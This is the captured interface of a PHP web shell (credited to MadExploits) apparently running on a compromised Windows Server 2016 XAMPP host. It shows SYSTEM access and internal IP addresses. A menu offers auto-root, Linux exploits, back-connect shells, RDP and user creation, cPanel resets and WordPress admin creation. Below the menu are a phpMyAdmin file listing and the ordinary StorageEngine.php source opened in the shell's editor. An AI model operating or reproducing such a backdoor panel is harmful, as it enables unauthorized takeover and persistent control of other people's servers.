Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
Charsets
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
Controllers
[ DIR ]
drwxrwxrwx
Database
[ DIR ]
drwxrwxrwx
Dbi
[ DIR ]
drwxrwxrwx
Di
[ DIR ]
drwxrwxrwx
Display
[ DIR ]
drwxrwxrwx
Engines
[ DIR ]
drwxrwxrwx
Gis
[ DIR ]
drwxrwxrwx
Navigation
[ DIR ]
drwxrwxrwx
Plugins
[ DIR ]
drwxrwxrwx
Properties
[ DIR ]
drwxrwxrwx
Rte
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Setup
[ DIR ]
drwxrwxrwx
Twig
[ DIR ]
drwxrwxrwx
Utils
[ DIR ]
drwxrwxrwx
Advisor.php
19.56
KB
-rw-rw-rw-
Bookmark.php
10.74
KB
-rw-rw-rw-
BrowseForeigners.php
11.15
KB
-rw-rw-rw-
CentralColumns.php
44.19
KB
-rw-rw-rw-
Charsets.php
6.14
KB
-rw-rw-rw-
CheckUserPrivileges.php
12.59
KB
-rw-rw-rw-
Config.php
57.38
KB
-rw-rw-rw-
Console.php
3.69
KB
-rw-rw-rw-
Core.php
38.31
KB
-rw-rw-rw-
CreateAddField.php
17.91
KB
-rw-rw-rw-
DatabaseInterface.php
104.47
KB
-rw-rw-rw-
Encoding.php
8.68
KB
-rw-rw-rw-
Error.php
13.34
KB
-rw-rw-rw-
ErrorHandler.php
17.17
KB
-rw-rw-rw-
ErrorReport.php
8.92
KB
-rw-rw-rw-
Export.php
42.76
KB
-rw-rw-rw-
File.php
21.29
KB
-rw-rw-rw-
FileListing.php
2.83
KB
-rw-rw-rw-
Font.php
5.54
KB
-rw-rw-rw-
Footer.php
10.6
KB
-rw-rw-rw-
Header.php
21.87
KB
-rw-rw-rw-
Import.php
56.56
KB
-rw-rw-rw-
Index.php
24.5
KB
-rw-rw-rw-
IndexColumn.php
4.44
KB
-rw-rw-rw-
InsertEdit.php
129.31
KB
-rw-rw-rw-
InternalRelations.php
17.42
KB
-rw-rw-rw-
IpAllowDeny.php
9.57
KB
-rw-rw-rw-
Language.php
4.31
KB
-rw-rw-rw-
LanguageManager.php
23.71
KB
-rw-rw-rw-
Linter.php
5.21
KB
-rw-rw-rw-
ListAbstract.php
2.51
KB
-rw-rw-rw-
ListDatabase.php
4.34
KB
-rw-rw-rw-
Logging.php
2.6
KB
-rw-rw-rw-
Menu.php
22.36
KB
-rw-rw-rw-
Message.php
19.32
KB
-rw-rw-rw-
Mime.php
916
B
-rw-rw-rw-
MultSubmits.php
23.64
KB
-rw-rw-rw-
Normalization.php
40.41
KB
-rw-rw-rw-
OpenDocument.php
8.52
KB
-rw-rw-rw-
Operations.php
81.25
KB
-rw-rw-rw-
OutputBuffering.php
3.71
KB
-rw-rw-rw-
ParseAnalyze.php
2.55
KB
-rw-rw-rw-
Partition.php
7.27
KB
-rw-rw-rw-
Pdf.php
4.37
KB
-rw-rw-rw-
Plugins.php
22.95
KB
-rw-rw-rw-
RecentFavoriteTable.php
12.04
KB
-rw-rw-rw-
Relation.php
79.64
KB
-rw-rw-rw-
RelationCleanup.php
15
KB
-rw-rw-rw-
Replication.php
5.75
KB
-rw-rw-rw-
ReplicationGui.php
21.23
KB
-rw-rw-rw-
Response.php
16.14
KB
-rw-rw-rw-
Sanitize.php
14.51
KB
-rw-rw-rw-
SavedSearches.php
11.94
KB
-rw-rw-rw-
Scripts.php
3.65
KB
-rw-rw-rw-
Session.php
7.62
KB
-rw-rw-rw-
Sql.php
82.09
KB
-rw-rw-rw-
SqlQueryForm.php
17.63
KB
-rw-rw-rw-
StorageEngine.php
13.75
KB
-rw-rw-rw-
SubPartition.php
3.55
KB
-rw-rw-rw-
SysInfo.php
1.61
KB
-rw-rw-rw-
SysInfoBase.php
822
B
-rw-rw-rw-
SysInfoLinux.php
2.16
KB
-rw-rw-rw-
SysInfoSunOS.php
1.89
KB
-rw-rw-rw-
SysInfoWINNT.php
3.27
KB
-rw-rw-rw-
SystemDatabase.php
3.97
KB
-rw-rw-rw-
Table.php
94.87
KB
-rw-rw-rw-
TablePartitionDefinition.php
6.64
KB
-rw-rw-rw-
Template.php
4.02
KB
-rw-rw-rw-
Theme.php
8.62
KB
-rw-rw-rw-
ThemeManager.php
10.42
KB
-rw-rw-rw-
Tracker.php
30.13
KB
-rw-rw-rw-
Tracking.php
40.26
KB
-rw-rw-rw-
Transformations.php
16.27
KB
-rw-rw-rw-
TwoFactor.php
7.14
KB
-rw-rw-rw-
Types.php
24.93
KB
-rw-rw-rw-
Url.php
8.32
KB
-rw-rw-rw-
UserPassword.php
9
KB
-rw-rw-rw-
UserPreferences.php
8.62
KB
-rw-rw-rw-
UserPreferencesHeader.php
4.13
KB
-rw-rw-rw-
Util.php
168.02
KB
-rw-rw-rw-
VersionInformation.php
6.92
KB
-rw-rw-rw-
ZipExtension.php
10.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StorageEngine.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Library for extracting information about the available storage engines * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Engines\Bdb; use PhpMyAdmin\Engines\Berkeleydb; use PhpMyAdmin\Engines\Binlog; use PhpMyAdmin\Engines\Innobase; use PhpMyAdmin\Engines\Innodb; use PhpMyAdmin\Engines\Memory; use PhpMyAdmin\Engines\Merge; use PhpMyAdmin\Engines\MrgMyisam; use PhpMyAdmin\Engines\Myisam; use PhpMyAdmin\Engines\Ndbcluster; use PhpMyAdmin\Engines\Pbxt; use PhpMyAdmin\Engines\PerformanceSchema; use PhpMyAdmin\Util; /** * defines */ define('PMA_ENGINE_SUPPORT_NO', 0); define('PMA_ENGINE_SUPPORT_DISABLED', 1); define('PMA_ENGINE_SUPPORT_YES', 2); define('PMA_ENGINE_SUPPORT_DEFAULT', 3); define('PMA_ENGINE_DETAILS_TYPE_PLAINTEXT', 0); define('PMA_ENGINE_DETAILS_TYPE_SIZE', 1); define('PMA_ENGINE_DETAILS_TYPE_NUMERIC', 2); //Has no effect yet... define('PMA_ENGINE_DETAILS_TYPE_BOOLEAN', 3); // 'ON' or 'OFF' /** * Base Storage Engine Class * * @package PhpMyAdmin */ class StorageEngine { /** * @var string engine name */ public $engine = 'dummy'; /** * @var string engine title/description */ public $title = 'PMA Dummy Engine Class'; /** * @var string engine lang description */ public $comment = 'If you read this text inside phpMyAdmin, something went wrong...'; /** * @var integer engine supported by current server */ public $support = PMA_ENGINE_SUPPORT_NO; /** * Constructor * * @param string $engine The engine ID */ public function __construct($engine) { $storage_engines = self::getStorageEngines(); if (! empty($storage_engines[$engine])) { $this->engine = $engine; $this->title = $storage_engines[$engine]['Engine']; $this->comment = (isset($storage_engines[$engine]['Comment']) ? $storage_engines[$engine]['Comment'] : ''); switch ($storage_engines[$engine]['Support']) { case 'DEFAULT': $this->support = PMA_ENGINE_SUPPORT_DEFAULT; break; case 'YES': $this->support = PMA_ENGINE_SUPPORT_YES; break; case 'DISABLED': $this->support = PMA_ENGINE_SUPPORT_DISABLED; break; case 'NO': default: $this->support = PMA_ENGINE_SUPPORT_NO; } } } /** * Returns array of storage engines * * @static * @staticvar array $storage_engines storage engines * @access public * @return array[] array of storage engines */ public static function getStorageEngines() { static $storage_engines = null; if (null == $storage_engines) { $storage_engines = $GLOBALS['dbi']->fetchResult('SHOW STORAGE ENGINES', 'Engine'); if ($GLOBALS['dbi']->getVersion() >= 50708) { $disabled = (string) Util::cacheGet( 'disabled_storage_engines', function () { return $GLOBALS['dbi']->fetchValue( 'SELECT @@disabled_storage_engines' ); } ); foreach (explode(",", $disabled) as $engine) { if (isset($storage_engines[$engine])) { $storage_engines[$engine]['Support'] = 'DISABLED'; } } } } return $storage_engines; } /** * Returns HTML code for storage engine select box * * @param string $name The name of the select form element * @param string $id The ID of the form field * @param string $selected The selected engine * @param boolean $offerUnavailableEngines Should unavailable storage * engines be offered? * @param boolean $addEmpty Whether to provide empty option * * @static * @return string html selectbox */ public static function getHtmlSelect( $name = 'engine', $id = null, $selected = null, $offerUnavailableEngines = false, $addEmpty = false ) { $selected = mb_strtolower((string) $selected); $output = '<select name="' . $name . '"' . (empty($id) ? '' : ' id="' . $id . '"') . '>' . "\n"; if ($addEmpty) { $output .= '<option value=""></option>'; } foreach (self::getStorageEngines() as $key => $details) { // Don't show PERFORMANCE_SCHEMA engine (MySQL 5.5) if (! $offerUnavailableEngines && ($details['Support'] == 'NO' || $details['Support'] == 'DISABLED' || $details['Engine'] == 'PERFORMANCE_SCHEMA') ) { continue; } $output .= ' <option value="' . htmlspecialchars($key) . '"' . (empty($details['Comment']) ? '' : ' title="' . htmlspecialchars($details['Comment']) . '"') . (mb_strtolower($key) == $selected || (empty($selected) && $details['Support'] == 'DEFAULT' && ! $addEmpty) ? ' selected="selected"' : '') . '>' . "\n" . ' ' . htmlspecialchars($details['Engine']) . "\n" . ' </option>' . "\n"; } $output .= '</select>' . "\n"; return $output; } /** * Loads the corresponding engine plugin, if available. * * @param string $engine The engine ID * * @return StorageEngine The engine plugin * @static */ public static function getEngine($engine) { switch (mb_strtolower($engine)) { case 'bdb': return new Bdb($engine); case 'berkeleydb': return new Berkeleydb($engine); case 'binlog': return new Binlog($engine); case 'innobase': return new Innobase($engine); case 'innodb': return new Innodb($engine); case 'memory': return new Memory($engine); case 'merge': return new Merge($engine); case 'mrg_myisam': return new MrgMyisam($engine); case 'myisam': return new Myisam($engine); case 'ndbcluster': return new Ndbcluster($engine); case 'pbxt': return new Pbxt($engine); case 'performance_schema': return new PerformanceSchema($engine); default: return new StorageEngine($engine); } } /** * Returns true if given engine name is supported/valid, otherwise false * * @param string $engine name of engine * * @static * @return boolean whether $engine is valid or not */ public static function isValid($engine) { if ($engine == "PBMS") { return true; } $storage_engines = self::getStorageEngines(); return isset($storage_engines[$engine]); } /** * Returns as HTML table of the engine's server variables * * @return string The table that was generated based on the retrieved * information */ public function getHtmlVariables() { $ret = ''; foreach ($this->getVariablesStatus() as $details) { $ret .= '<tr>' . "\n" . ' <td>' . "\n"; if (! empty($details['desc'])) { $ret .= ' ' . Util::showHint($details['desc']) . "\n"; } $ret .= ' </td>' . "\n" . ' <th>' . htmlspecialchars($details['title']) . '</th>' . "\n" . ' <td class="value">'; switch ($details['type']) { case PMA_ENGINE_DETAILS_TYPE_SIZE: $parsed_size = $this->resolveTypeSize($details['value']); $ret .= $parsed_size[0] . ' ' . $parsed_size[1]; unset($parsed_size); break; case PMA_ENGINE_DETAILS_TYPE_NUMERIC: $ret .= Util::formatNumber($details['value']) . ' '; break; default: $ret .= htmlspecialchars($details['value']) . ' '; } $ret .= '</td>' . "\n" . '</tr>' . "\n"; } if (! $ret) { $ret = '<p>' . "\n" . ' ' . __( 'There is no detailed status information available for this ' . 'storage engine.' ) . "\n" . '</p>' . "\n"; } else { $ret = '<table class="data">' . "\n" . $ret . '</table>' . "\n"; } return $ret; } /** * Returns the engine specific handling for * PMA_ENGINE_DETAILS_TYPE_SIZE type variables. * * This function should be overridden when * PMA_ENGINE_DETAILS_TYPE_SIZE type needs to be * handled differently for a particular engine. * * @param integer $value Value to format * * @return array the formatted value and its unit */ public function resolveTypeSize($value) { return Util::formatByteDown($value); } /** * Returns array with detailed info about engine specific server variables * * @return array array with detailed info about specific engine server variables */ public function getVariablesStatus() { $variables = $this->getVariables(); $like = $this->getVariablesLikePattern(); if ($like) { $like = " LIKE '" . $like . "' "; } else { $like = ''; } $mysql_vars = []; $sql_query = 'SHOW GLOBAL VARIABLES ' . $like . ';'; $res = $GLOBALS['dbi']->query($sql_query); while ($row = $GLOBALS['dbi']->fetchAssoc($res)) { if (isset($variables[$row['Variable_name']])) { $mysql_vars[$row['Variable_name']] = $variables[$row['Variable_name']]; } elseif (! $like && mb_strpos(mb_strtolower($row['Variable_name']), mb_strtolower($this->engine)) !== 0 ) { continue; } $mysql_vars[$row['Variable_name']]['value'] = $row['Value']; if (empty($mysql_vars[$row['Variable_name']]['title'])) { $mysql_vars[$row['Variable_name']]['title'] = $row['Variable_name']; } if (! isset($mysql_vars[$row['Variable_name']]['type'])) { $mysql_vars[$row['Variable_name']]['type'] = PMA_ENGINE_DETAILS_TYPE_PLAINTEXT; } } $GLOBALS['dbi']->freeResult($res); return $mysql_vars; } /** * Reveals the engine's title * * @return string The title */ public function getTitle() { return $this->title; } /** * Fetches the server's comment about this engine * * @return string The comment */ public function getComment() { return $this->comment; } /** * Information message on whether this storage engine is supported * * @return string The localized message. */ public function getSupportInformationMessage() { switch ($this->support) { case PMA_ENGINE_SUPPORT_DEFAULT: $message = __('%s is the default storage engine on this MySQL server.'); break; case PMA_ENGINE_SUPPORT_YES: $message = __('%s is available on this MySQL server.'); break; case PMA_ENGINE_SUPPORT_DISABLED: $message = __('%s has been disabled for this MySQL server.'); break; case PMA_ENGINE_SUPPORT_NO: default: $message = __( 'This MySQL server does not support the %s storage engine.' ); } return sprintf($message, htmlspecialchars($this->title)); } /** * Generates a list of MySQL variables that provide information about this * engine. This function should be overridden when extending this class * for a particular engine. * * @return array The list of variables. */ public function getVariables() { return []; } /** * Returns string with filename for the MySQL helppage * about this storage engine * * @return string MySQL help page filename */ public function getMysqlHelpPage() { return $this->engine . '-storage-engine'; } /** * Returns the pattern to be used in the query for SQL variables * related to the storage engine * * @return string SQL query LIKE pattern */ public function getVariablesLikePattern() { return ''; } /** * Returns a list of available information pages with labels * * @return string[] The list */ public function getInfoPages() { return []; } /** * Generates the requested information page * * @param string $id page id * * @return string html output */ public function getPage($id) { if (! array_key_exists($id, $this->getInfoPages())) { return ''; } $id = 'getPage' . $id; return $this->$id(); } }
Close